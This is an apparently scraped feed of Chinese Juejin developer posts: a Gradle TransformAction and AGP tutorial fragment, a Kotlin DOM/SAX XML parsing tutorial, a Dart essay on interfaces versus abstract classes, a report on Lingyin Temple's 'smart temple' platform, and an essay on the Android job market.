val myTaskProvider = tasks.register("myTask", MyTask::class.java) {
it.inputCount.set(10)
it.outputFile.set(File("build/myTask/output/file.jar"))
}
val includedConfiguration = configurations.create("includedConfiguration") // 2
dependencies.add(includedConfiguration.name, "org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.7.10")

val combinedInputs = project.files(includedConfiguration, myTaskProvider.map { it.outputFile })
val myConfiguration = configurations.create("myConfiguration")
dependencies.add(myConfiguration.name, project.files(project.provider { combinedInputs }))

tasks.register("consumerTask", ConsumerTask::class.java) { // 3
it.artifactCollection = myConfiguration.incoming.artifactView {viewConfiguration ->
viewConfiguration.attributes.attribute(artifactType, "my-custom-type")
}.artifacts
it.outputFile.set(File("build/consumerTask/output/output.txt"))
}
}
}
}

主要分为以下几步:



  1. 声明与注册自定义Transform,指定输入与输出的artifactType

  2. 创建自定义的 configuration,指定输入的依赖是什么(当然也可以直接用AGP已有的configuration)

  3. 在使用时,通过自定义configurationartifactView,获取对应的产物

  4. ConsumerTask中消费自定义TransformAction的输出产物


然后我们运行./gradlew consumerTask就可以得到以下输出


> Task :app:consumerTask
Processing ~/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-common/1.7.10/bac80c520d0a9e3f3673bc2658c6ed02ef45a76a/kotlin-stdlib-common-1.7.10.jar. File exists = true
Processing ~/AndroidProject/2022/argust/GradleTutorials/app/build/myTask/output/file.jar. File exists = true
Processing ~/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-jdk8/1.7.10/d70d7d2c56371f7aa18f32e984e3e2e998fe9081/kotlin-stdlib-jdk8-1.7.10.jar. File exists = true
Processing ~/.gradle/caches/modules-2/files-2.1/org.jetbrains/annotations/13.0/919f0dfe192fb4e063e7dacadee7f8bb9a2672a9/annotations-13.0.jar. File exists = true
Processing ~/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib/1.7.10/d2abf9e77736acc4450dc4a3f707fa2c10f5099d/kotlin-stdlib-1.7.10.jar. File exists = true
Processing ~/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-jdk7/1.7.10/1ef73fee66f45d52c67e2aca12fd945dbe0659bf/kotlin-stdlib-jdk7-1.7.10.jar. File exists = true

可以看出,当运行consumerTask时,执行了 MyTransform,并将jar类型的产物转化成了my-custom-type


TransformActionAGP中的应用


现在AGP中的Transform已经基本上都改成TransformAction了,我们一起来看几个例子


AarTransform


Android ARchive,也就是.aar后缀的资源包,gradle是如何使用它的呢?


如果有同学尝试过就知道,如果是默认使用java-libray的工程,肯定无法依赖并使用aar的,引入时会报Could not resolve ${dependencyNotation},说明在Android Gradle Plugin当中,插件对aar包的依赖进行了处理,只有通过了插件处理,才能正确使用aar内的资源。那就来看看AGP是如何在TransformAction的帮助下做到这点的


Aar转换的实现就是AarTransform,我们一起来看下源码:


// DependencyConfigurator.kt
for (transformTarget in AarTransform.getTransformTargets()) {
registerTransform(
AarTransform::class.java,
AndroidArtifacts.ArtifactType.EXPLODED_AAR,
transformTarget
) { params ->
params.targetType.setDisallowChanges(transformTarget)
params.sharedLibSupport.setDisallowChanges(sharedLibSupport)
}
}

public abstract class AarTransform implements TransformAction<AarTransform.Parameters> {

@NonNull
public static ArtifactType[] getTransformTargets() {
return new ArtifactType[] {
ArtifactType.SHARED_CLASSES,
ArtifactType.JAVA_RES,
ArtifactType.SHARED_JAVA_RES,
ArtifactType.PROCESSED_JAR,
ArtifactType.MANIFEST,
ArtifactType.ANDROID_RES,
ArtifactType.ASSETS,
ArtifactType.SHARED_ASSETS,
ArtifactType.JNI,
ArtifactType.SHARED_JNI,
// ...
};
}

@Override
public void transform(@NonNull TransformOutputs transformOutputs) {
// 具体实现
}

代码也比较简单,主要做了下面几件事:



  1. DependencyConfigurator中注册Aar转换成各种类型资源的TransformAction

  2. AarTransform中根据类型将aar包中的文件解压到输出到各个目录


JetifyTransform


Jetifier也是在迁移到AndroidX之后的常用功能,它可以将引用依赖内的android.support.*引用都替换为对androidx的引用,从而实现对support包的兼容


下面我们来看一下JetifyTransform的代码


// com.android.build.gradle.internal.DependencyConfigurator

if (projectOptions.get(BooleanOption.ENABLE_JETIFIER)) {
registerTransform(
JetifyTransform::class.java,
AndroidArtifacts.ArtifactType.AAR,
jetifiedAarOutputType
) { params ->
params.ignoreListOption.setDisallowChanges(jetifierIgnoreList)
}
registerTransform(
JetifyTransform::class.java,
AndroidArtifacts.ArtifactType.JAR,
AndroidArtifacts.ArtifactType.PROCESSED_JAR
) { params ->
params.ignoreListOption.setDisallowChanges(jetifierIgnoreList)
}
}

// com.android.build.gradle.internal.dependency.JetifyTransform
override fun transform(transformOutputs: TransformOutputs) {
val inputFile = inputArtifact.get().asFile

val outputFile = transformOutputs.file("jetified-${inputFile.name}")
jetifierProcessor.transform2(
input = setOf(FileMapping(inputFile, outputFile)),
copyUnmodifiedLibsAlso = true,
skipLibsWithAndroidXReferences = true
)
}


  1. 读取并判断ENABLE_JETIFIER属性,这就是我们在gradle.properties中配置的jetifier开关

  2. aarjar类型的依赖都注册JetifyTransform转换

  3. transform中对support包的依赖进行替换,完成后会将处理过的资源重新压缩,并且会带上jetified的前缀


总结


本文主要讲解了TransformAction是什么,TransformAction自定义,以及TransformActionAGP中的应用,可以看出,目前AGP中的产物转换已经基本上都用TransformAction来实现了


事实上,AGPTransformAction进行了一定的封装,如果你只是想利用ASM实现字节码插桩,那么直接使用AsmClassVisitorFactory就好了。但如果想要阅读AGP的源码,了解AGP构建的过程,还是需要了解一下TransformAction的基本使用与原理的


示例代码


本文所有代码可见:github.com/RicardoJian…


作者:程序员江同学
链接:https://juejin.cn/post/7131889789787176974
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

使用 Kotlin 对 XML 文件解析、修改及创建

一 XML 基本概念 XML 全称 ExtensibleMarkupLanguage,中文称可扩展标记语言。它是一种通用的数据交换格式,具有平台无关性、语言无关性、系统无关性的优点,给数据集成与交互带来了极大的方便。XML 在不同的语言环境中解析方式都是一样的...
继续阅读 »

一 XML 基本概念


XML 全称 ExtensibleMarkupLanguage,中文称可扩展标记语言。它是一种通用的数据交换格式,具有平台无关性、语言无关性、系统无关性的优点,给数据集成与交互带来了极大的方便。XML 在不同的语言环境中解析方式都是一样的,只不过实现的语法不同而已。


XML 可用来描述数据、存储数据、传输数据/交换数据。


XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。DOM 又是基于树形结构的 XML 解析方式,能很好地呈现这棵树的样貌。XML 文档节点的类型主要有:


各节点定义:




















































Node描述子节点
DocumentXML document 的根节点Element, ProcessingInstruction, DocumentType, Comment
DocumentType文档属性No children
Element元素Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference
Attr属性Text, EntityReference
ProcessingInstruction处理指令No children
Comment注释
No children
Text文本No children
Entity实体类型项目Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference 

二 XML 解析方式


一个 XML 文档的生命周期应该包括两部分:



  • 解析文档

  • 操作文档数据
    那么接下来介绍如何来解析 XML 以及解析之后如何使用。


根据底层原理的不同,解析 XML 文件一般分为两种形式,一种是基于树形结构来解析的称为 DOM;另一种是基于事件流的形式称为 SAX


2.1 DOM(Document Object Model)


DOM 是用与平台和语言无关的方式表示 XML 文档的官方 W3C 标准。是基于树形结构的 XML 解析方式,它会将整个 XML 文档读入内存并构建一个 DOM 树,基于这棵树形结构对各个节点(Node)进行操作。


优点



  1. 允许随机读取访问数据,因为整个 Dom 树都加载到内存中

  2. 允许随机的对文档结构进行增删


缺点



  1. 耗时,整个 XML 文档必须一次性解析完

  2. 占内存,整个 Dom 树都要加载到内存中


适用于:文档较小,且需要修改文档内容


2.1.1 DOM 解析 XML


第一步:建立一个 Stuff.xml 文件


<?xml version="1.0"?>
<company>
<staff id="1001">
<firstname>Jack</firstname>
<lastname>Ma</lastname>
<nickname>Hui Chuang A Li</nickname>
<salary currency="USD">100000</salary>
</staff>
<staff id="2001">
<firstname>Pony</firstname>
<lastname>Ma</lastname>
<nickname>Pu Tong Jia Ting</nickname>
<salary currency="RMB">200000</salary>
</staff>
</company>

第二步:DOM 解析


package com.elijah.kotlinlearning

import org.w3c.dom.Element
import org.w3c.dom.Node
import org.w3c.dom.NodeList
import java.io.File
import javax.xml.parsers.DocumentBuilderFactory



fun main(args: Array<String>) {

// Instantiate the Factory
val dbf = DocumentBuilderFactory.newInstance()

try {
// parse XML file
val xlmFile = File("${projectPath}/src/res/Staff.xml")
val xmlDoc= dbf.newDocumentBuilder().parse(xlmFile)
xmlDoc.documentElement.normalize()

println("Root Element :" + xmlDoc.documentElement.nodeName)
println("--------")

// get <staff>
val staffList: NodeList = xmlDoc.getElementsByTagName("staff")

for (i in 0 until staffList.length) {
var staffNode = staffList.item(i)

if (staffNode.nodeType === Node.ELEMENT_NODE) {

val element = staffNode as Element

// get staff's attribute
val id = element.getAttribute("id")

// get text
val firstname = element.getElementsByTagName("firstname").item(0).textContent
val lastname = element.getElementsByTagName("lastname").item(0).textContent
val nickname = element.getElementsByTagName("nickname").item(0).textContent

val salaryNodeList = element.getElementsByTagName("salary")
val salary = salaryNodeList.item(0).textContent

// get salary's attribute
val currency = salaryNodeList.item(0).attributes.getNamedItem("currency").textContent

println("Current Element : ${staffNode.nodeName}")
println("Staff Id : $id")
println("First Name: $firstname")
println("Last Name: $lastname")
println("Nick Name: $nickname")
println("Salary [Currency] : ${salary.toLong()} [$currency]")
}
}
} catch (e: Throwable) {
e.printStackTrace()
}
}

第三步:解析结果输出


Root Element :company
--------
Current Element : staff
Staff Id : 1001
First Name: Jack
Last Name: Ma
Nick Name: Hui Chuang A Li
Salary [Currency] : 100000 [USD]
Current Element : staff
Staff Id : 2001
First Name: Pony
Last Name: Ma
Nick Name: Pu Tong Jia Ting
Salary [Currency] : 200000 [RMB]

2.1.2 DOM 创建、生成 XML


第一步:创建新的 XML 并填充内容


package com.elijah.kotlinlearning

import org.w3c.dom.Document
import org.w3c.dom.Element
import java.io.File
import javax.xml.parsers.DocumentBuilderFactory
import javax.xml.transform.OutputKeys
import javax.xml.transform.TransformerFactory
import javax.xml.transform.dom.DOMSource
import javax.xml.transform.stream.StreamResult



fun main(args: Array<String>) {

// Instantiate the Factory
val docFactory = DocumentBuilderFactory.newInstance()

try {
// root elements
val docBuilder = docFactory.newDocumentBuilder()
val doc = docBuilder.newDocument()
val rootElement: Element = doc.createElement("company")
doc.appendChild(rootElement)

// add xml elements: staff 1001
val staff = doc.createElement("staff")
staff.setAttribute("id", "1001")

// set staff 1001's attribute
val firstname = doc.createElement("firstname")
firstname.textContent = "Jack"
staff.appendChild(firstname)
val lastname = doc.createElement("lastname")
lastname.textContent = "Ma"
staff.appendChild(lastname)
val nickname = doc.createElement("nickname")
nickname.textContent = "Hui Chuang A Li"
staff.appendChild(nickname)
val salary: Element = doc.createElement("salary")
salary.setAttribute("currency", "USD")
salary.textContent = "100000"
staff.appendChild(salary)
rootElement.appendChild(staff)

// add xml elements: staff 1002
val staff2: Element = doc.createElement("staff")
rootElement.appendChild(staff2)
staff2.setAttribute("id", "1002")

// set staff 1002's attribute
val firstname2 = doc.createElement("firstname")
firstname2.textContent = "Pony"
staff2.appendChild(firstname2)
val lastname2 = doc.createElement("lastname")
lastname2.textContent = "Ma"
staff2.appendChild(lastname2)
val nickname2 = doc.createElement("nickname")
nickname2.textContent = "Pu Tong Jia Ting"
staff2.appendChild(nickname2)
val salary2= doc.createElement("salary")
salary2.setAttribute("currency", "RMB")
salary2.textContent = "200000"
staff2.appendChild(salary2)
rootElement.appendChild(staff2)

val newXmlFile = File("${projectPath}/src/res/", "generatedXml.xml")

// write doc to new xml file
generateXml(doc, newXmlFile)
} catch (e: Throwable) {
e.printStackTrace()
}
}

// write doc to new xml file
private fun generateXml(doc: Document, file: File) {
// Instantiate the Transformer
val transformerFactory = TransformerFactory.newInstance()
val transformer = transformerFactory.newTransformer()

// pretty print
transformer.setOutputProperty(OutputKeys.INDENT, "yes")
val source = DOMSource(doc)
val result = StreamResult(file)
transformer.transform(source, result)
}

第二步:生成 XML 文件 generatedXml.xml


<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<company>
<staff id="1001">
<firstname>Jack</firstname>
<lastname>Ma</lastname>
<nickname>Hui Chuang A Li</nickname>
<salary currency="USD">100000</salary>
</staff>
<staff id="1002">
<firstname>Pony</firstname>
<lastname>Ma</lastname>
<nickname>Pu Tong Jia Ting</nickname>
<salary currency="RMB">200000</salary>
</staff>
</company>

2.2 SAX(Simple API for XML)


SAX 处理的特点是基于事件流的。分析能够立即开始,而不是等待所有的数据被处理。而且,由于应用程序只是在读取数据时检查数据,因此不需要将数据存储在内存中。这对于大型文档来说是个巨大的优点。


优点:



  1. 访问能够立即进行,不需要等待所有数据被加载

  2. 只在读取数据时检查数据,不需要保存在内存中

  3. 占用内存少,不需要将整个数据都加载到内存中

  4. 允许注册多个 Handler,可以用来解析文档内容,DTD 约束等等


缺点:



  1. 需要应用程序自己负责 TAG 的处理逻辑(例如维护父/子关系等),文档越复杂程序就越复杂

  2. 单向导航,无法定位文档层次,很难同时访问同一文档的不同部分数据,不支持 XPath

  3. 不能随机访问 xml 文档,不支持原地修改 xml


适用于: 文档较大,只需要读取文档数据。


2.2.1 SAX 解析 XML


第一步:新建 ContentHandler 解析类


package com.elijah.kotlinlearning

import org.xml.sax.Attributes
import org.xml.sax.helpers.DefaultHandler

class ContentHandler: DefaultHandler(){

private var nodeName :String? = null // 当前节点名
private lateinit var firstname: StringBuilder // 属性:firstname
private lateinit var lastname: StringBuilder // 属性:lastname
private lateinit var nickname: StringBuilder // 属性:nickname
private lateinit var salary: StringBuilder // 属性:salary

// 开始解析文档
override fun startDocument() {
firstname = StringBuilder()
lastname = StringBuilder()
nickname = StringBuilder()
salary = StringBuilder()
}

// 开始解析节点
override fun startElement(
uri: String?,
localName: String?,
qName: String?,
attributes: Attributes?
) {
nodeName = localName
}

// 开始解析字符串
override fun characters(ch: CharArray?, start: Int, length: Int) {
// 判断节点名称
when (nodeName) {
"firstname" -> {
firstname.append(ch, start, length)
}
"lastname" -> {
lastname.append(ch, start, length)
}
"nickname" -> {
nickname.append(ch, start, length)
}
"salary" -> {
salary.append(ch, start, length)
}
}
}

// 结束解析节点
override fun endElement(uri: String?, localName: String?, qName: String?) {
// 打印出来解析结果
if (localName == "staff") {
println("Staff is : $nodeName")
println("First Name: ${firstname.toString()}")
println("Last Name: ${lastname.toString()}")
println("Nick Name: ${nickname.toString()}")
println("Salary [Currency] : ${salary.toString()}")

// 清空, 不妨碍下一个 staff 节点的解析
firstname.clear()
lastname.clear()
nickname.clear()
salary.clear()
}
}

// 结束解析文档
override fun endDocument() {
super.endDocument()
}
}

第二步:新建解析器对指定 XML 进行解析


package com.elijah.kotlinlearning

import org.xml.sax.InputSource
import java.io.File
import javax.xml.parsers.SAXParserFactory

fun main(args: Array<String>) {
try{
// 新建解析器工厂
val saxParserFactory = SAXParserFactory.newInstance()
// 通过解析器工厂获得解析器对象
val saxParser = saxParserFactory.newSAXParser()
// 获得 xmlReader
val xmlReader = saxParser.xmlReader
// 设置解析器中的解析类
xmlReader.contentHandler = ContentHandler()
// 设置解析内容
val inputStream = File("${projectPath}/src/res/Staff.xml").inputStream()
xmlReader.parse(InputSource(inputStream))
} catch(e: Throwable){
e.printStackTrace()
}
}

作者:话唠扇贝
链接:https://juejin.cn/post/7131018900002570276
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 语法进阶 | 抽象类和接口本质的区别

1. 接口存在的意义? 在 Dart 中 接口 定义并没有对应的关键字。可能有些人觉得 Dart 中弱化了 接口 的概念,其实不然。我们一般对接口的理解是:接口是更高级别的抽象,接口中的方法都是 抽象方法 ,没有方法体。通过接口的定义,我们可以通过定义接口来声...
继续阅读 »

1. 接口存在的意义?


Dart接口 定义并没有对应的关键字。可能有些人觉得 Dart 中弱化了 接口 的概念,其实不然。我们一般对接口的理解是:接口是更高级别的抽象,接口中的方法都是 抽象方法 ,没有方法体。通过接口的定义,我们可以通过定义接口来声明功能,通过实现接口来确保某类拥有这些功能。


不过你有没有仔细想过,为什么接口会存在,引入接口的概念是为了解决什么问题?可能有人会说,通过接口,可以规范一类事物的功能,可以面向接口进行操作,从而可以更加灵活地进行拓展。其实这只是接口的作用,而且这些功能 抽象类 也可以支持。所以接口一定存在什么特殊的功能,是抽象类无法做到的。


都是抽象方法的抽象类,和接口有什么本质的区别呢?在我的初入编程时,这个问题就伴随着我,但渐渐地,这个问题好像对编程没有什么影响,也就被遗忘了。网上很多文章介绍 抽象类接口 的区别,只是在说些无关痛痒的形式区别,并不能让我觉得接口存在有什么必要性。


思考一件事物存在的本质意义,可以从没有这个事物会产生什么后果来分析。现在想一下,如果没有接口,一切的抽象行为仅靠 抽象类 完成会有什么局限性 或说 弊端。没有接口,就没有 实现 (implements) 的概念,其实这就等价于在问 implements 消失了,对编程有什么影响。没有实现,类之间就只能通过 继承 (extends) 来维护 is-a 的关系。所以就等价于在问 extends 有什么局限性 或说 弊端。答案呼之欲出:多继承的二义性


那问题来了,为什么类不能支持 多继承 ,而接口可以支持 多实现继承实现 有什么本质的区别呢?为什么 实现 不会带来 二义性 的问题,这是理解接口存在关键。




2. 继承 VS 实现


下面我们来探讨一下 继承实现 的本质区别。如下 AB 类,有一个相同的成员变量和成员方法:


class A{
String name;

A(this.name);

void run(){ print("B"); }
}

class B{
String name;

B(this.name);

void run(){ print("B"); }
}

对于继承而言 派生类 会拥有基类的成员变量与成员方法,如果支持多继承,就会出现两个问题:



  • 问题一 : 基类中有同名 成员变量 ,无法确定成员的归属类

  • 问题二: 基类中有同名 成员方法 ,且子类未覆写。在调用时,无法确定执行哪个。


class C extends A , B {
C(String name) : super(name); // 如果多继承,该为哪个基类的 name 成员赋值 ??
}

void main(){
C c = C("hello")
c.run(); // 如果多继承,该执行哪个基类的 run 方法 ??
}



其实仔细思考一下,一般意义上的接口之所以能够 多实现 ,就是通过限制,对这两个问题进行解决。比如 Java 中:



  • 不允许在接口中定义普通的 成员变量 ,解决问题一。

  • 在接口中只定义抽象成员方法,不进行实现。而是强制派生类进行实现,解决问题二。


abstract class A{
void run();
}

abstract class B{
void run();
}

class C implements A,B{
@override
void run() {
print("C");
}
}

到这里,我们就认识到了为什么接口不存在 多实现 的二义性问题。这就是 继承实现 最本质的区别,也是 抽象类接口 最重要的差异。从这里可以看出,接口就是为了解决多继承二义性的问题,而引入的概念,这就是它存在的意义。




3. Dart 中接口与实现的特殊性


Dart 中并不像 Java 那样,有明确的关键字作为 接口类 的标识。因为 Dart 中的接口概念不再是 传统意义 上的狭义接口。而是 Dart 中的任何类都可以作为接口,包括普通的类,这也是为什么 Dart 不提供关键字来表示接口的原因。


既然普通类可以作为接口,那多实现中的 二义性问题 是必须要解决的,Dart 中是如何处理的呢? 如下是 AB 两个普通类,其中有两个同名 run 方法:


class A{
void run(){
print("run in a");
}
}

class B{
void run(){
print("run in a");
}

void log(){
print("log in a");
}
}

C 类实现 AB 接口,必须强制覆写 所有 成员方法 ,这点解决了二义性的 问题二





问题一 中的 成员变量 的歧义如何解决呢?如下,在 AB 中添加同名的成员变量:


class A{
final String name;
A(this.name);
// 略同...
}

class B{
final String name;
B(this.name);
// 略同...
}

C 类实现 AB 接口,必须强制覆为 所有 成员变量提供 get 方法 ,这点解决了二义性的 问题一



这样,C 就可以实现两个普通类,而避免了二义性问题:


class C implements A, B {
@override
String get name => "C";

@override
void log() {}

@override
void run() {}
}

其实,这是 Dartimplements 关键字的功能加强,迫使派生类必须提供 所有 成员变量的 get 方法,必须覆写 所有 成员方法。这样就可以让 接口 成为两个独立的概念,一个 class 既可以是类,也可以是接口,具有双重身份。其区别在于,在 extend 关键字后,表示继承,是作为类来对待;在 implements 关键字之后,表示实现,是作为接口来对待。




4.Dart 中抽象类作为接口的小细节


我们知道,抽象类中允许定义 普通成员变量/方法 。下面举个小例子说明一下 继承 extend实现 implements 的区别。对于继承来说,派生类只需要实现抽象方法即可,抽象基类 中的普通成员方法可以不覆写:





而前面说过,implements 关键字要求派生类必须覆写 接口 中的 所有 方法 。也就表示下面的 C implements A 时,也必须覆写 log 方法。从这个例子中,可以很清楚地看出 继承实现 的差异性。



抽象类接口 的区别,就是 继承实现 的区别,在代码上的体现是 extendimplements 关键字功能的区别。只有理解 继承 的局限性,才能认清 接口 存在的必要性。那本文就到这了,谢谢观看 ~


作者:张风捷特烈
链接:https://juejin.cn/post/7131880904154644516
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

灵隐寺高僧汇报 “数字化寺院” 方案,走红网络! “系统可用性” 随缘、KPI 随心?

最近,一张灵隐寺高僧汇报 “数字化寺院” 方案的图片,走红网络!许多从事IT工作的网友沸腾了,很好奇 “数字化寺院”平台的系统可用性,做到几个9 ? 灵隐寺的IT高僧 KPI 是否随缘?下面给大家拆解下这个大屏背后的技术架构是怎样的?对寺院的实时业务信息做到了...
继续阅读 »

最近,一张灵隐寺高僧汇报 “数字化寺院” 方案的图片,走红网络!


许多从事IT工作的网友沸腾了,很好奇 “数字化寺院”平台的系统可用性,做到几个9 ? 灵隐寺的IT高僧 KPI 是否随缘?

下面给大家拆解下这个大屏背后的技术架构是怎样的?

对寺院的实时业务信息做到了及时分析和展示,后台可能还接入到了杭州文旅以及杭州城市大脑,是杭州城市大脑的组成部分;

灵隐寺的数字化面临非常多的问题:如何吸引游客来?如何促进游客消费?如何及时应急和预警?如何提供更佳服务?如何定位精确客群?……从知名度、转化率、安全保障、互动体验到精准营销各方面的问题都需要解决,只有这些问题都解决了,才能成功转型。

而解决这些问题的关键钥匙最终还是落在数据上,数据驱动是涉旅企业和单位转型智慧旅游的必经之路。只有打通数据孤岛,建立全域数据共享中心,从而推动企业和单位从旅游行业格局、空间格局、旅游方式、商业模式上寻找转型点,而不是靠领导拍板、经验转型。


灵隐寺搭建了“灵隐寺一体化综合服务”应用场景数字大厅,深度开发了“一屏、一中心、四件事、六大管理平台”有效实现数字赋能现代寺院管理。

智慧寺院,出家人不打诳语

7月下旬,杭州灵隐寺举办了“智慧寺院”应用场景上线仪式。


“智慧寺院”上线仪式上,光泉法师表示,数字技术的飞速发展为数字赋能现代寺院智慧管理带来了新的契机,数字化不仅是佛教适应时代发展的具体路径,更是佛教自我健康传承的迫切需求。

今后,灵隐寺将不断推进应用场景优化升级,推动数字化改革成果持续输出,为推进我国宗教中国化和宗教事务治理现代化贡献智慧和力量。出家人不打诳语。智慧寺院确实有点东西。

杭州灵隐寺“智慧寺院”应用场景上线仪式成功举办,各界领导均出席了上线仪式。



省民宗委副主任、一级巡视员陈振华讲话

陈振华指出,杭州灵隐寺一直以来积极探索实践宗教活动场所数字化管理新路径,在全省争当表率、走在前列,为我省建设宗教中国化和宗教事务治理现代化先行省作出了贡献。他强调:

要勇于变革,做宗教活动场所数字化改革的探索者。

坚持数字赋能,勇于变革创新,当好宗教活动场所现代化管理的引领者,发挥好信教群众与党委政府之间的桥梁纽带作用。

要实战实效,做宗教活动场所智慧化管理的领跑者

进一步健全体制机制,重构管理体系,不断做好场景迭代升级和功能拓展,争取打造最佳应用,形成可在全省寺院推广运行的数字化管理新模式。

要守正创新,做宗教活动场所中国化建设的示范者

将“智慧寺院”应用场景与浙江省宗教中国化场所建设“151”指标体系相结合,在宗教中国化场所创建中继续做好示范,当好表率,以数字赋能牵引推动宗教中国化落实落地。


市委统战部副部长、市民宗局局长邵根松讲话

邵根松指出,杭州灵隐寺率先成立首家佛教数字赋能研究中心,在探索数字赋能现代寺院智慧管理,激发1700年江南名刹数字活力等方面倾注了大量精力,为打造具有鲜明杭州辨识度的数字化应用场景树立了榜样。


省佛教协会会长、灵隐寺方丈光泉法师致辞

光泉法师表示,数字技术的飞速发展为数字赋能现代寺院智慧管理带来了新的契机,数字化不仅是佛教适应时代发展的具体路径,更是佛教自我健康传承的迫切需求。今后,灵隐寺将不断推进应用场景优化升级,推动数字化改革成果持续输出,为推进我国宗教中国化和宗教事务治理现代化贡献智慧和力量。

来源:https://mp.weixin.qq.com/s/T5AKGcltiU5rjvOjiTs11Q

收起阅读 »

Android 开发还有必要深耕吗?现状怎么样?未来前景将会怎样?

截止到今天,Android的生态发生了不少变化以前的鼎盛时期,堪称是个公司就做App,由于当时市场上缺乏Android开发,招聘往往是低要求、高薪资,只要你面试说得上四大组件,第二天马上拎包入职,线下的Android培训也是一抓一大把,吸引了一大批人涌入And...
继续阅读 »

截止到今天,Android的生态发生了不少变化

以前的鼎盛时期,堪称是个公司就做App,由于当时市场上缺乏Android开发,招聘往往是低要求、高薪资,只要你面试说得上四大组件,第二天马上拎包入职,线下的Android培训也是一抓一大把,吸引了一大批人涌入Android开发行业。Android招聘市场的需求逐渐被填充,招聘要求逐步提高……

随着“互联网寒冬”的到来,大批互联网公司纷纷倒闭,大厂也纷纷裁员节流,人才供给大幅增加、需求大幅降低,造成当时的市场迅速达到饱和。培训出来的初级Android开发找不到工作,大厂被裁员的Android开发放不下薪资要求,这批人找不到工作,再加上当时自媒体的大肆渲染,Android开发可不就“凉了”吗?

毫不夸张的说,早期说得上四大组件稍微能做一点点,拿个15-20k是比较轻松的,要是你还有过完整开发经验,30k真是一点都不过分,而在“寒冬”之后,当招聘市场供给过剩时,面试官有了充分的选择权,你会四大组件,那我就有完整App独立开发经验,另一人或许有过十万级App开发经验,你说面试官会收下谁呢?岗位招聘要求也是在这时迅速拔高,整个Android市场逐渐趋于平稳,大家感觉Android开发来到了内卷期……

再来说现在:

Android凉了吗?

其实并不是Android凉了,而是技术不过硬的Android凉了

被高薪晃晕了头脑放不下身段的假高工凉了

现在的Android市场,Android初级工程师早就已经严重饱和了,供远大于求。这就导致了很多Android开发会面临被优化、被毕业、找不到工作这种情况,然后这部分人又出来说Android凉了,如此循环之下,以致于很多人都觉得Android凉了……

其核心原因只是Android开发市场由鼎盛的疯狂逐渐趋于平稳

这里也给出Android开发薪资/年限图给大家参考:


也不缺少学历突出的、能力突出的、努力突出的,这三类都可以拿到比图中同级别更可观的薪资

当然,我们并不能以薪资作为职级的标准,决定一个Android工程师到底是初级、中级、高级还是资深的,永远都不会是开发年限!

只有技术才能客观的作为衡量标准!

不管是几年经验,如果能力与工作年限不匹配,都会有被毕业的风险,如果掌握的技术达不到对应职级的标准,那别想了,毕业警告……

在很多人觉得Android凉了的时候,也不乏有Android开发跳槽进大厂拿高薪,不少在闷头提升技术水平,迄今为止还没有听过哪个Android开发大牛说“Android凉了”,当大家达到一定的高度之后,就会得知谁谁谁跳槽美团,几百万;某某某又跳进了阿里、腾讯……

不管在任何行业,任何岗位,初级技术人才总是供大于求;不管任何行业、岗位,技术过硬的也都是非常吃香的!

在初级市场”凉了“的同时,高级市场几乎是在抢人!

很多高薪、急招岗位挂上了招聘网站,往往一整年都面试不了几场,自打挂上来,就没动过了……

所以说,Android开发求职,质量才是关键!

再说到转行问题

我一直都比较佩服有大勇气转行的朋友,因为转行需要我们抛弃现有的知识技能,重新起航

佩服归佩服,身边不少之前是Android开发的朋友转行Java、Python,但他们对于目前市场还是过于乐观了,Python很火,它竞争不大吗?部分转行从0开始的,甚至连应届生都比不过~

不要轻易转行,如果要转一定要尽早转

转行有两种我认为是正常的,一种是行业消失了、没落了,继续留在业内无法施展才华。另一种是兴趣压根就不在本行,因此选一个自己感兴趣的。而现在大部分转行都是为了跟风,为了那看得见但摸不着的”风口“,而忽略了长期的发展潜力。


不管是学习力也好,精力也好,大部分人在35岁之前都属于加速期,加速期的一些选择,决定了35岁之后到底是上升还是衰落。

以Android开发转Python来说,一个Android高级转行Python会变为Python初级,这时从事Python的人都在加速提高,要想赶超在你之前的拥有同样学习力的人是不可能办到的,这就导致在转行前期极为被动,还要保证在35岁前成为Python专家或者Leader才有可能在35岁后不进入衰落期,当然这时你的Android基本也就荒废了,不说很难成为专家,高级也成为了一个很大的门槛。

如果你还想要在对应的技术领域走的更远,就不要轻易选择转行,如果实在想要转,那么越早越好、越快越好,你的竞争者都在加速提升技术水平,职场上,没人会停下等你的……

转行大部分都产生不了质变

我们所说的质变可以理解为在一个技术领域的大幅提升,或者是不相关领域的跨界

比如由高级开发变为专家,或者是由高级开发升到Leader,再或者跨界开始做一些技术相关的博客、培训、演讲、出书等等而被人所熟知。

凡是能帮助你在职业生涯中后期进入上升期的都可以看做是一次质变,而转行很少是质变,更多的都是倒退回到原点重新出发,形象点来说,你只是换了个不同的砖头接着搬砖而已。因此我们更应该去追求质变,而不是平行或者倒退,一次倒退或许可以承受,多次倒退就很难在职业生涯中后期再进入上升期。

其实不少转行的人都没有起到积极作用,毕竟都是从0开始,精进到专家绝不是一朝一夕可以完成的

或许到时又会有同样的问题:

前端凉了?前景怎么样?

Java凉了?前景怎么样?

大数据凉了?前景怎么样?

人工智能凉了?前景怎么样?

……

而另一类人,其实不管在哪个行业都可以混的风生水起!

如果是这种,那么想必也不需要考虑转行了。

所以根本不用想着Android凉了或是说要转行,与其焦虑不安,不如努力提升技术水平,毕竟在这时代,有硬技术的人到哪都吃香。

我们想要往高级进阶,建立属于自己的系统化知识体系才是最重要的,高工所需要掌握的技术不是通过蹭热点和玩黑科技,而是需要真正深入到核心技术的本质,知晓原理,知其然知其所以然。

可能不少人会觉得Android技术深度不深,技术栈不庞大,Android职业发展有限,这就真是个天大的误解。

